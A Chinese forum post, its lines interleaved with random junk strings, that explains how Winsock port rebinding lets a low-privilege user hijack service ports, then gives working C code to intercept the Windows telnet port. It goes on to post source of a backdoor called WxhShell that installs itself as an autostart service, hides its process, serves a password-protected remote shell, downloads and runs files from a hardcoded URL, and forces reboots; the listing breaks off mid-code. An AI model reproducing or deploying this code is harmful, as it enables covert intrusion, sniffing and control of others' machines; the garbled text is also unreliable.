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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "%mu~&Ga  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1+{V^) V?  
FC +}gJ(q  
  saddr.sin_family = AF_INET; 6]Vf`i  
&f;<[_QI=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RTL A*  
$*KM%M6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); daX$=n  
bg =<)s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "8NhrUX  
~"Q24I  
  这意味着什么?意味着可以进行如下的攻击: Z{MR#.I  
LGau!\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $GMva}@G`  
(59u<F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u>K(m))5W3  
]ZbZ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f3p)Q<H>`(  
mBQp#-1\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fH> I/%  
jNC@b>E?~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %mO.ur>21  
v J_1VW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q#6K'=AC  
03!!# 5iJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |})7\o  
>l$qE  
  #include 3SeM:OYq]s  
  #include dw"Tv ~  
  #include I?z*.yA*  
  #include    GY3g`M   
  DWORD WINAPI ClientThread(LPVOID lpParam);   KysJ3G.k\  
  int main() )J"*[[e  
  { w.:fl4V  
  WORD wVersionRequested; =Qf.  
  DWORD ret; QMI6l'"s  
  WSADATA wsaData; ]bui"-tlK  
  BOOL val; ;ATn&  
  SOCKADDR_IN saddr;  av!'UZP  
  SOCKADDR_IN scaddr; ]9 ArT$  
  int err; gQ0W>\xz  
  SOCKET s; O 8\wH  
  SOCKET sc; l>J>?b=x"[  
  int caddsize; Q|CLis-  
  HANDLE mt; uQ_s$@brI  
  DWORD tid;   *%(BE*C}  
  wVersionRequested = MAKEWORD( 2, 2 ); zYz0R:@n+  
  err = WSAStartup( wVersionRequested, &wsaData ); 0C,2gcq  
  if ( err != 0 ) { M?nYplC  
  printf("error!WSAStartup failed!\n"); JtB]EvpL}  
  return -1; ({5`C dVi  
  } NCKhrDd&  
  saddr.sin_family = AF_INET; xc&&UKd  
   $lC*q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H;=JqD8`  
gE}+`w/X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5?yc*mOZ  
  saddr.sin_port = htons(23); Xh[02iL-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  &3:U&}I  
  { v?)u1-V0  
  printf("error!socket failed!\n"); ;r1.Uz(  
  return -1; NmH:/xU?^  
  } kzb%=EI  
  val = TRUE; ^=1:!'*3D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7/UdE:~]*=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ITmW/Im5  
  { (v2.8zrJ  
  printf("error!setsockopt failed!\n"); U~}cib5W5  
  return -1; (TF;+FRW  
  } PIthv [F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $.g)%#h:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +Y9n@`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5{.g~3"  
q '  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h=7eOK]  
  { tnn,lWu|  
  ret=GetLastError(); zNo(|;19  
  printf("error!bind failed!\n"); ,xzSFs>2  
  return -1; @Q%g#N  
  } yaw33/iN  
  listen(s,2); EXz{Pqz  
  while(1) [? 1m6u;  
  { YZHqy++x  
  caddsize = sizeof(scaddr); M6MtE_E  
  //接受连接请求 f:K3 P[|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }vof| (Yh  
  if(sc!=INVALID_SOCKET) "x"y3v'  
  { .zMM!l3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6tDCaB  
  if(mt==NULL) NA<6s]Cs.  
  { gT=RJB  
  printf("Thread Creat Failed!\n"); Sd\+f6x  
  break; d=$1Z. ]  
  } 'y<<ce*   
  } 3v:c".O2O  
  CloseHandle(mt); )h&*b9[B=  
  } OM1pyt  
  closesocket(s); 0D=7Mef  
  WSACleanup(); a+_F^   
  return 0; ywl7bU-f  
  }   g0&Rl  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ozo)}  
  { B*,Qw_3dG  
  SOCKET ss = (SOCKET)lpParam; ,iYKtS3  
  SOCKET sc; g 218%i  
  unsigned char buf[4096]; BGSqfr1F  
  SOCKADDR_IN saddr; ;<~lzfs  
  long num; B;6N.X(K  
  DWORD val; OBBEsD/bc  
  DWORD ret; {R{Io|   
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;=ci7IT'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ud @7%%  
  saddr.sin_family = AF_INET; OQC.p,SO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S^/:O.X)c,  
  saddr.sin_port = htons(23); Z9+xB"q2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w?db~"T  
  { FE[{*8  
  printf("error!socket failed!\n"); X"z!52*3]  
  return -1; 7K\H_YY8#  
  } gvi]#|  
  val = 100; w-3 B~e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z"u|-RoBV  
  { lDd8dT-Q.  
  ret = GetLastError(); ,2y " \_  
  return -1; I$#)k^Q  
  } ).Ei:/*j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mh4`,N  
  { tl:+wp7P`  
  ret = GetLastError(); ~D9VjXfL)  
  return -1; )= ,Lfj8x  
  } &>Ko}?w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J6) &b7  
  { mO UIGlv  
  printf("error!socket connect failed!\n"); GG}(*pOr  
  closesocket(sc); u7Xr!d+wR  
  closesocket(ss); #78P_{#!  
  return -1; s|1BqoE  
  } 6,C,LT2^(  
  while(1) Nd"Rt  
  { ;goR0PN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U;_b4S:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,3zF_y(*Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r:&"#F   
  num = recv(ss,buf,4096,0); 77Fpb?0`  
  if(num>0) iSZiJ4AUq  
  send(sc,buf,num,0); l/JE}Eg(  
  else if(num==0) "?lm`3W"  
  break; l u^fKQ  
  num = recv(sc,buf,4096,0); 9J$8=UuxWG  
  if(num>0) J01Y%W  
  send(ss,buf,num,0); #e!4njdM  
  else if(num==0) &d`z|Gx9  
  break; x 7;Zwd  
  } YJ&K0 %R  
  closesocket(ss); bYKyR}e  
  closesocket(sc); f.o,VVYi  
  return 0 ; 1xJc[q  
  } Pw"o[8  
nVTCbV  
>}43xIRRCq  
========================================================== H9["ZRL,Q  
YGA( "<  
下边附上一个代码,,WXhSHELL qX GAlCq@  
 ^vPt Ppt  
========================================================== _PPW9US{  
sh6F-g  
#include "stdafx.h" 9P3jx)K  
MBbycI,  
#include <stdio.h> +n ${6/  
#include <string.h> }^Unx W  
#include <windows.h> M=n_;3,o  
#include <winsock2.h> 9\/T #EP  
#include <winsvc.h> *hHy> (*  
#include <urlmon.h> ,u^S(vxyz  
z_dorDF8`>  
#pragma comment (lib, "Ws2_32.lib") s{-`y`JP  
#pragma comment (lib, "urlmon.lib") aN.t) DG}J  
5K;vdwSB  
#define MAX_USER   100 // 最大客户端连接数 L29,Y=n@  
#define BUF_SOCK   200 // sock buffer Vs1j9P|G  
#define KEY_BUFF   255 // 输入 buffer hm%'k~  
2>.2H  
#define REBOOT     0   // 重启 R|%R-J]  
#define SHUTDOWN   1   // 关机 Y=oj0(Q*  
93Yo }6>  
#define DEF_PORT   5000 // 监听端口 fwojFS.K  
5!55v  
#define REG_LEN     16   // 注册表键长度 I$Q%i Z{  
#define SVC_LEN     80   // NT服务名长度 i4Y_5  
FT1h\K|a  
// 从dll定义API b[^=GF>e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KUdpOMYX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >+[uV ^2[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )V^J^1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~h~K"GbC?  
Fr}e-a  
// wxhshell配置信息 Y2 &N#~l*  
struct WSCFG { T4 dYC'z  
  int ws_port;         // 监听端口 qIwI]ub~  
  char ws_passstr[REG_LEN]; // 口令 mGjxc}  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~HwY?[}!m  
  char ws_regname[REG_LEN]; // 注册表键名 r@&d88U:  
  char ws_svcname[REG_LEN]; // 服务名 $XqfwlUu/4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oh '\,zpL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LF'M!C9|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Ftl1uf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D!. r$i)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  W t&tu2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BX|+"AeF  
JM#jg-z,~  
}; d9XX^nY.  
sW~Z?PFP  
// default Wxhshell configuration g8yWFqE!T  
struct WSCFG wscfg={DEF_PORT, `A.!<bO)]  
    "xuhuanlingzhe", <}RU37,W  
    1, 5#zwd oQ  
    "Wxhshell", ~RVx~hh  
    "Wxhshell", J?XEF@?'G  
            "WxhShell Service", t6;Ln().Hw  
    "Wrsky Windows CmdShell Service",  `x"0  
    "Please Input Your Password: ", `0rEV _$  
  1, A# W%ud4  
  "http://www.wrsky.com/wxhshell.exe", 71+J{XOC  
  "Wxhshell.exe" K?_4|  
    }; TxhTK5#f  
,w|f*L$  
// 消息定义模块 jfyV9)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zh$[UdY6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q/,W'lQ\;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p6(n\egR  
char *msg_ws_ext="\n\rExit."; %Ke:%##Y  
char *msg_ws_end="\n\rQuit."; "HW~|M7>(  
char *msg_ws_boot="\n\rReboot..."; DRD%pm(  
char *msg_ws_poff="\n\rShutdown..."; R1z\b~@"  
char *msg_ws_down="\n\rSave to "; }Po&6^  
Yn,dM~|Cc  
char *msg_ws_err="\n\rErr!"; =KwG;25hX  
char *msg_ws_ok="\n\rOK!"; 30Nya$$A=  
J!,5HJh1  
char ExeFile[MAX_PATH]; ]6{G;f$  
int nUser = 0; jNN$/ZWm  
HANDLE handles[MAX_USER]; I"E5XVC);  
int OsIsNt; /xjHzva^ w  
w$H=GF?"  
SERVICE_STATUS       serviceStatus; --0z"`@{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,UQ4`Mh^L  
_9E7;ew  
// 函数声明 ;m}lmq,  
int Install(void); da3]#%i0  
int Uninstall(void); ?lzg )88I  
int DownloadFile(char *sURL, SOCKET wsh); J<:qzwh  
int Boot(int flag); S @\Pki+n[  
void HideProc(void); Cw]Q)rX{  
int GetOsVer(void); y&\ J  
int Wxhshell(SOCKET wsl); raGov`  
void TalkWithClient(void *cs); xW{_c[oA  
int CmdShell(SOCKET sock); ^;B vd!  
int StartFromService(void); h"KN)xi$  
int StartWxhshell(LPSTR lpCmdLine); '$~9~90?Z  
0-EhDGa]r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |b'fp1</  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F;jl0)fBR=  
n{pS+u z  
// 数据结构和表定义 GLA,,i'i9  
SERVICE_TABLE_ENTRY DispatchTable[] = !3K6ew>Sf  
{ O qDLb  
{wscfg.ws_svcname, NTServiceMain}, mq~7v1kw  
{NULL, NULL} u>H^bCXI  
}; w,]cFT  
,,oiL  
// 自我安装 p"/1Kwqx  
int Install(void) 'DlY8rEGP  
{ /reSU 2  
  char svExeFile[MAX_PATH]; i\G@kJNnF  
  HKEY key; :{C#<g`  
  strcpy(svExeFile,ExeFile); GVZ/`^ndM  
:L`  
// 如果是win9x系统,修改注册表设为自启动 KYVB=14  
if(!OsIsNt) { 0@1AH<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q@P5c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wo84V!"A  
  RegCloseKey(key); #KZ- "$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wx~ 0_P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uk_?2?>-5  
  RegCloseKey(key); \`r5tQr  
  return 0; BCF- lrZ&  
    } a3 wUB  
  } aT"q}UTK  
} [i.2lt#]  
else {  N\DEY]  
GAbX.9[V  
// 如果是NT以上系统,安装为系统服务 v')Fq[H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }4Lv-9s,  
if (schSCManager!=0) $k*E^~qT  
{ [g/Hf(&  
  SC_HANDLE schService = CreateService '=@O]7o~  
  ( \uQB%yMoz  
  schSCManager, AV AF!Z  
  wscfg.ws_svcname, -O3^q.   
  wscfg.ws_svcdisp, _h7!  
  SERVICE_ALL_ACCESS, o`\l&jUNe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WA~|:S+  
  SERVICE_AUTO_START, bAt%^pc=y  
  SERVICE_ERROR_NORMAL, ^x %yIS  
  svExeFile, E=GCq=Uw  
  NULL, JAen= %2b  
  NULL, W'rft@J$  
  NULL, wH~Q4)#=o  
  NULL, ' A= x  
  NULL aDR<5_Yb  
  ); e{.2*>pH  
  if (schService!=0) "m):"  
  { c[?S}u|['  
  CloseServiceHandle(schService); nK1XJp  
  CloseServiceHandle(schSCManager); l%.3hId-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =&xamA)  
  strcat(svExeFile,wscfg.ws_svcname); d~uK/R-KD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z T95g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U/Z!c\r  
  RegCloseKey(key); jE2k\\<a  
  return 0; "P.7FD  
    } {w}PV5<  
  } q .nsGbl  
  CloseServiceHandle(schSCManager); \TkBV?W  
} pNr3u  
} z m\=4^X  
w<&Nn`V  
return 1; ]K?z|&N|HK  
} SQWwxFJ  
EU TTeFp  
// 自我卸载 [oKc<o7)~"  
int Uninstall(void) k uU,7 <o  
{ 8Z:NT_Ss  
  HKEY key; uu1-` !%  
~UB@IV6O  
if(!OsIsNt) { gCz^JM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~HI|t2C  
  RegDeleteValue(key,wscfg.ws_regname); I<z /Y?  
  RegCloseKey(key); v-Ggf0RF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -#j-Zo+<  
  RegDeleteValue(key,wscfg.ws_regname); =G;whd}]  
  RegCloseKey(key); 7EOn4I2@[  
  return 0; q0jzng  
  } W@AZ<(RI:  
} G+ Y`65  
} CspY+%3$  
else { V /$qD  
8V`r*:\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i*..]!7e  
if (schSCManager!=0) z<ptrH  
{ jL^zS XQB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6gY5v @!w  
  if (schService!=0) rOE[c  
  { 20d[\P(.  
  if(DeleteService(schService)!=0) { f8+($Ys  
  CloseServiceHandle(schService); L{N9h1]  
  CloseServiceHandle(schSCManager); ~EW (2B{u  
  return 0; + B%fp*  
  } nYY@+%` ]z  
  CloseServiceHandle(schService); \gki!!HQ  
  } {$bAs9L  
  CloseServiceHandle(schSCManager); (ScL  C  
} Xgn^)+V:  
} w '~f Z*  
"X's>uM  
return 1; >e($T!}Z  
} f I`6]?W  
Ti#2D3  
// 从指定url下载文件 ,E$^i~OO  
int DownloadFile(char *sURL, SOCKET wsh) 4&!`Yi_1L  
{ }I}RqD:`  
  HRESULT hr; x,@cU}D  
char seps[]= "/"; ? Sj,HLo@U  
char *token; [m?eSq6e2b  
char *file; {[61LQ6V9  
char myURL[MAX_PATH]; <`9Q{~*=t  
char myFILE[MAX_PATH]; )i0\U  
Ra&HzK?  
strcpy(myURL,sURL); `n Y!nh6!  
  token=strtok(myURL,seps); eEb(TG~,Y  
  while(token!=NULL) c>:}~.~T  
  { 1,T8@8#  
    file=token; Eh#W*Bg  
  token=strtok(NULL,seps); M['8zN  
  } `]#DdJ_|  
(WCpaC  
GetCurrentDirectory(MAX_PATH,myFILE); 1&ZG6#16q  
strcat(myFILE, "\\"); qS*qHT(u19  
strcat(myFILE, file); 9(QY~F  
  send(wsh,myFILE,strlen(myFILE),0); \'&:6\-fw  
send(wsh,"...",3,0); Pan^@B=Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P7&a~N$T6W  
  if(hr==S_OK) `8\ _ ]w0  
return 0; $L)9'X   
else ]$Ky ZHj{  
return 1; D\ HmY_  
A?ma5h  
} u^s{r`/  
U2$e?1y  
// 系统电源模块 v2gK(&?  
int Boot(int flag) e!d& #ofw|  
{ ,6~c0]/  
  HANDLE hToken; _]E"hr6a  
  TOKEN_PRIVILEGES tkp; 0V{-5-.  
,u-i9`B  
  if(OsIsNt) { fCJ:QK!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s+2\uMwf*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |#^u%#'[2  
    tkp.PrivilegeCount = 1; XG@_Lcv*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \vT0\1:|i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8RVNRV@g%  
if(flag==REBOOT) { 2shr&M fp[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m@;X%wf<U  
  return 0; UN'hnqC  
} CtTG`)"|  
else { ?9mFI(r~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1t+]r:{  
  return 0; 2/ PaXI/Z  
} ~j^HDHY@  
  } T|GRkxd,E3  
  else { [(B A:x1  
if(flag==REBOOT) { Nj1vB;4Nx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <8|vj 2d2  
  return 0; br .jj  
} _:x/\ 8P  
else { f$Q#xlQM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /d%&s^M:  
  return 0; ^DS9D:oE  
} h$)!eSu  
} +M$2:[xRT  
TW(rK&  
return 1; W @Y$!V<  
} \S[:  
, b ,`;I  
// win9x进程隐藏模块 -Mb nYs)  
void HideProc(void) hzg&OW=:  
{ "G)-:!H  
nmn$$=~)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w}zl=w{G  
  if ( hKernel != NULL ) KV k 36;$  
  { '!]ry<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oL1m<cQo9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eh2w7 @7Q  
    FreeLibrary(hKernel); ,DqI> vx|  
  } n,hHh=.Fu  
{ xi$'r  
return; t/yGMR=  
} 1Cki}$k@  
]sE~gro  
// 获取操作系统版本 (NyS2 `  
int GetOsVer(void) , ?WTX  
{ 1@" eeR  
  OSVERSIONINFO winfo; J [J,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w 6+X{  
  GetVersionEx(&winfo); \CM/KrCR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ytmt+9  
  return 1; o/@.*Rj>Bg  
  else iIA5ylf{E  
  return 0; dms R>Q  
} ..UmbJJ.u  
tu#VZAPW@  
// 客户端句柄模块 ),v[.9!}:  
int Wxhshell(SOCKET wsl) /Z';# G,z  
{ dy-m9fc6%  
  SOCKET wsh; j#$ R.  
  struct sockaddr_in client; vQ2kL`@  
  DWORD myID; AYeA)jk  
rY4{,4V  
  while(nUser<MAX_USER) &s->,-,  
{ 2>l4$G 0  
  int nSize=sizeof(client); dX-{75o5P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {1li3K&0s  
  if(wsh==INVALID_SOCKET) return 1; " |[w.`  
F<Js"z+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cW4:eh  
if(handles[nUser]==0) 0(VAmb%{  
  closesocket(wsh); GKu@8Ol-wu  
else Z@>hN%{d+g  
  nUser++; -'QvUHL|  
  } Ac 0C,*|^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mw!D|  
} 1^/[?  
  return 0; 6T! *YrS  
} 2Vas`/~u~  
`*mctjSN  
// 关闭 socket IeLG/ fB  
void CloseIt(SOCKET wsh) R$X1Q/#md  
{ }dX[u`zQ  
closesocket(wsh); ~McmlJzJG  
nUser--; 7dyGC:YuTL  
ExitThread(0); 58\Rl  
} bq/ m?;  
{P"$;_Y"<  
// 客户端请求句柄 D+lzISp~e  
void TalkWithClient(void *cs) +ObP[F  
{ >&6pBtC_  
[tGAo/  
  SOCKET wsh=(SOCKET)cs; D^yZ!}Kl  
  char pwd[SVC_LEN]; -'BC*fVr  
  char cmd[KEY_BUFF]; /{vv n  
char chr[1]; _W'>?e0i  
int i,j; CMB:%  
A&*lb7X  
  while (nUser < MAX_USER) { ()e.J  
+dq&9N/  
if(wscfg.ws_passstr) { ];i-d7C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); izy7. (.a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tqz{{]%j~$  
  //ZeroMemory(pwd,KEY_BUFF); :# s 6,  
      i=0; bO]^TRaiJ  
  while(i<SVC_LEN) { MlaViw  
&b8Dy=#  
  // 设置超时 2a8ZU{wjn  
  fd_set FdRead; vh5`R/<3  
  struct timeval TimeOut; 4+e9:r]  
  FD_ZERO(&FdRead); ~XQj0'  
  FD_SET(wsh,&FdRead); fgIzT!fyz  
  TimeOut.tv_sec=8; va F^[/ (g  
  TimeOut.tv_usec=0; = Ryh@X&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M]4qS('[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,r~pf (nz  
`T7gfb%1-3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Xi _[ Xf  
  pwd=chr[0]; S+Z_Qf  
  if(chr[0]==0xd || chr[0]==0xa) { GEj/Z};;[b  
  pwd=0; (jd)sf6Tj[  
  break; by!1L1[JTt  
  } j oDY   
  i++; *z I@Htp  
    } KI)jP((  
ATl.Qku@  
  // 如果是非法用户,关闭 socket 9Jd{HI=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > 2_xRn<P  
} 2k;>nlVxX  
$*w]]b$Dn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s ;EwAd(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .l5y+a'  
8*z)aB&f3  
while(1) { 'X_8j` ]#  
qPqpRi  
  ZeroMemory(cmd,KEY_BUFF); X3&-kU  
{U@&hE -  
      // 自动支持客户端 telnet标准   cdiDfiE  
  j=0; l)tK/1 W  
  while(j<KEY_BUFF) { ,{==f7|w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v zgR3r  
  cmd[j]=chr[0]; Afa| 6zZ>  
  if(chr[0]==0xa || chr[0]==0xd) { 2L"$p?  
  cmd[j]=0; u`?MV2jU2  
  break; :EJ8^'0Q  
  } -kFEVJbUyc  
  j++; h6J0b_3h4  
    } M"# >?6{  
x&}pM}ea  
  // 下载文件 ~Sy/q]4ys*  
  if(strstr(cmd,"http://")) { 5-'jYp/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uqe{F+;8&  
  if(DownloadFile(cmd,wsh)) 7i^7sT8t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  h0}r#L  
  else 4UwXrEQp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u~SvR~OE  
  } Wy1#K)LRb  
  else { &Ui*w%  
IxN0m7  
    switch(cmd[0]) { _2uRY  
  _+Tq&,_:o  
  // 帮助 ^ [FK<9  
  case '?': { lh^-L+G:Ok  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L3}n(K AJj  
    break; Su.imM!  
  } N3/G6wn  
  // 安装 vEQw`OC  
  case 'i': { qJV2x.!  
    if(Install()) pFE&`T@ <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ 3n;>oi  
    else -M=#U\D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7|$cM7_r  
    break; #._%~}U  
    } .U}"ONd9e  
  // 卸载 R>Q&Ax  
  case 'r': { Ja1[vO"YgP  
    if(Uninstall()) ;k1 \-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {2jetX`@h  
    else {Yq"%n'0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EJC{!06L'/  
    break; )}ygzKEa  
    } } U <T>0  
  // 显示 wxhshell 所在路径 uWm,mGd9  
  case 'p': { G bW1Lq&"  
    char svExeFile[MAX_PATH]; t~_j+k0K#  
    strcpy(svExeFile,"\n\r"); `zf,$67>1  
      strcat(svExeFile,ExeFile); +,oEcCi  
        send(wsh,svExeFile,strlen(svExeFile),0); wxC&KrRF  
    break; (4:&tm/;  
    } ^G :}%4  
  // 重启 j}P xq  
  case 'b': { ~V#MI@]V~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a^:on?:9  
    if(Boot(REBOOT)) DJ&ni`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Q\CJ9  
    else { 4wLN#dpeEy  
    closesocket(wsh); iYbp^iVg  
    ExitThread(0); NMaZ+g!t(  
    } %Xe#'qNq)  
    break; 73/DOF  
    } $H\[yg>4  
